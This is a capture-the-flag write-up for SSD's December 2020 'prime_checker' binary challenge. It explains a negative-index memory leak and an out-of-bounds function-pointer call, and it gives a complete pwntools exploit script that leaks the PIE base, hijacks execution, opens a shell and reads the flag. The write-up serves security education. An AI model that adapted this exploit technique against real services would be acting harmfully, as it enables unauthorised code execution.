December 2020 Challenge

SSD’s November challenge was published on December 12th, 2020

The challenge included a binary with a certain vulnerability in it and was solved @junorouse

Challenge GitHub link

Challenge Solution:

Introduction

This program (prime_checker) is a simple binary that tells you if the input value (integer) is a prime number. There are 3 features in the main function, “Check value Options” that set parameters, “Show results” that show , and “Exit” that you can exit the program.

Check value Options

int printSubMenu()
{
  puts("1. Make Req");
  puts("2. View Req");
  puts("3. Set Num");
  puts("4. Set Type");
  puts("5. Send Req");
  puts("6. Exit");
  return putchar('>');
}

Vulnerability A

The following is the code when you choose the “2. View Req” feature:

  int index;
  
  ...
  
    else if ( choice == 2 )
    {
      printf("Index to view: ");
      fgets(&s, 10, stdin);
      index = atoi(&s);
      if ( index >= requestCount )                    [1]
      {
        puts("Invalid Index");
      }
      else
      {
        printf("Req #%d\n", index);
        printf("Number: %lld\n", Numbers[index].value_0);
        printf("Type: %d\n", (LODWORD(Numbers[index].type) | HIDWORD(Numbers[index].type)));
      }

The part indicated by [1] does not perform integer overflow checks against index. This allows to induce arbitrary memory leak by accessing with negative index.

Show results

The code to show results is as follows:

    if ( result != 2 )
      break;
    printf("Index to view: ");
    fgets(&s, 10, stdin);
    index = atoi(&s);
    if ( index < 0 || index >= inputCount )       [2]
      puts("Invalid index");
    (RequestQueue[index].funcPtr)(index);
  }

It gets an element of RequestQueue by entered index and call its function pointer

Vulnerability B

In [2], the check is also perfomed to ensure that the index is not out-of-bound. On the other hand, when you entered out of bound index it just prints “Invalid Index” and do nothing. Therefore, you can call function pointer at arbitrary address((0x18 * index) + 0x8; 0x8 is function pointer offset) through out-of-bound access.

Exploit

You can leak the PIE/Library base via vulnerability A, however you don’t know stack/heap address which stores our input data from fgets / set value feature. But you can easily figure out that the offset difference between the PIE base and the thread stack is always (90%) same through debugging.

The function which called inside the pthread follows:

.text:0000000000000F5F ; __unwind {
.text:0000000000000F5F                 push    rbp
.text:0000000000000F60                 mov     rbp, rsp
.text:0000000000000F63                 sub     rsp, 20h
.text:0000000000000F67                 mov     [rbp+var_18], rdi ; our lld input via set value feature
.text:0000000000000F6B                 mov     eax, cs:IfIsLastThenSleep
.text:0000000000000F71                 cmp     eax, 1
.text:0000000000000F74                 jnz     short loc_F8C
.text:0000000000000F76                 lea     rdi, aLetSTakeA2Seco ; "Let's take a 2. second moment of silenc"...
.text:0000000000000F7D                 call    puts
.text:0000000000000F82                 mov     edi, 2          ; seconds
.text:0000000000000F87                 call    sleep
.text:0000000000000F8C
.text:0000000000000F8C loc_F8C:                                ; CODE XREF: calcNoobIsPrime+15↑j
  • rbp-var_18 - PIE base == -695656

Script

#!/usr/bin/env python
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'error'

# r = process(['./ld-2.23.so', './checker'], env={'LD_PRELOAD': './libc-2.23.so ./libpthread-2.23.so'})
while True:
    try:
        r = remote('0', 2324)
        r.sendlineafter('>', '1') # check value options
        # context.log_level = 'debug'

        # vuln A
        # -276 => 0x555555554734; symbol version table
        r.sendlineafter('>', '2') # view req
        r.sendlineafter(':', '-276')
        r.recvuntil('Number: ')
        pie_base = int(r.recvuntil('\n').strip()) - 0x734
        print 'pie_base: 0x%X' % pie_base

        r.sendlineafter('>', '1') # make req
        r.sendlineafter('>', '3') # set number
        r.sendlineafter(':', str(pie_base + 0xf32)) # rip
        r.sendlineafter('>', '4') # set type
        r.sendlineafter(':', '5') # is last | type(1)
        r.sendlineafter('>', '5') # go

        # vuln B
        r.sendlineafter('>', '2')
        r.sendlineafter(':', '-695656') # rbp-var_18 - PIE base
        r.recvuntil('\n')
        r.sendline('id')
        r.recv(4096)

        r.interactive()
        break
    except:
        r.close()
        continue
➜  binary-2020-12 git:(master) ✗ ./solve.py
pie_base: 0x7FCB120C2000
pie_base: 0x7F34E58B9000
pie_base: 0x7EFC71420000
pie_base: 0x7F4960BE2000
pie_base: 0x7F1DC1750000
pie_base: 0x7F45F7D75000
pie_base: 0x7FD66633E000
pie_base: 0x7F51C09CB000
pie_base: 0x7F430E918000
pie_base: 0x7F16D5D74000
$ ls
checker
flag
helper.sh
launch.sh
ld-2.23.so
libc-2.23.so
libpthread-2.23.so
$ cat flag
S3D{threads_are_so_fun!}
$